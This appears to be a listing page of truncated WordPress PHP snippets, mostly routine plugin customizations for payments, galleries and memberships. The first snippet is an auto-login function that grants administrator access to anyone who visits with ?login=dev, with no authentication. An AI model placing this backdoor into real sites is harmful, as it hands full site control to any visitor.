function auto_login() { if (isset($_GET[‘login’]) && $_GET[‘login’] === ‘dev’) { $user = get_user_by(‘login’, ‘admin’); if ($user) { wp_set_auth_cookie($user->ID); wp_redirect(admin_url()); exit; } } } add_action(‘init’, ‘auto_login’);Continue reading
// Register BLIK payment method via the simpay_register_payment_methods hook. add_action( ‘simpay_register_payment_methods’, function( $payment_methods ) { // Create a new Payment Method instance for BLIK. $blik = new \SimplePay\Pro\Payment_Methods\Payment_Method( array( ‘id’ => ‘blik’, ‘name’ => esc_html__( ‘BLIK’, ‘simple-pay’ ), ‘nicename’ =>…Continue reading
add_filter( ‘charitable_paypal_redirect_args’, ‘test_charitable_paypal_redirect_args’, 10, 3 ); function test_charitable_paypal_redirect_args( $paypal_args, $donation_id, $processor ) { // locate the ‘cancel_return’ parameter and update it to a proper url $paypal_args[‘cancel_return’] = ‘http://example.com/cancel’; return $paypal_args; }Continue reading
/* Disable Keyboard and Mousewheel Navigation * * @link https://enviragallery.com/docs/how-to-disable-keyboard-and-mousewheel-navigation/ */ // Disable for Albums add_filter( ‘envira_albums_pre_data’, ‘my_envira_album_pre_data’, 10, 2 ); function my_envira_album_pre_data( $data, $album_id ) { $data[‘config’][‘keyboard’] = 0; // 0 for disable, 1 to enable $data[‘config’][‘mousewheel’] = false;…Continue reading
/* Disable Keyboard and Mousewheel Navigation * * @link https://enviragallery.com/docs/how-to-disable-keyboard-and-mousewheel-navigation/ */ // Disable for Albums add_filter( ‘envira_albums_pre_data’, ‘my_envira_album_pre_data’, 10, 2 ); function my_envira_album_pre_data( $data, $album_id ) { $data[‘config’][‘keyboard’] = 0; // 0 for disable, 1 to enable $data[‘config’][‘mousewheel’] = false;…Continue reading
if ( ! function_exists( ‘wpb_copyright’ ) ) { function wpb_copyright() { // Cache the output so we don’t have to run the query on every page load. $output = get_transient( ‘wpb_copyright_text’ ); if ( false !== $output ) { //…Continue reading
add_shortcode( ‘mepr-unsubscribed-memberships’, function () { $args = array( ‘post_type’ => ‘memberpressproduct’, ‘post_status’ => ‘publish’, ‘posts_per_page’ => -1, ); $memberships = new WP_Query( $args ); ob_start(); if ( $memberships->have_posts() ) { echo ‘ ‘; while ( $memberships->have_posts() ) { $memberships->the_post(); $post_ID…Continue reading
function limit_signups_to_excluded_regions( $errors ) { // Check if the country field is set If ( isset( $_POST[ ‘mepr-address-country’ ] ) ) { $country = sanitize_text_field( wp_unslash( $_POST[ ‘mepr-address-country’ ] ) ); // Exclude EU countries if ( $country == ‘US’…Continue reading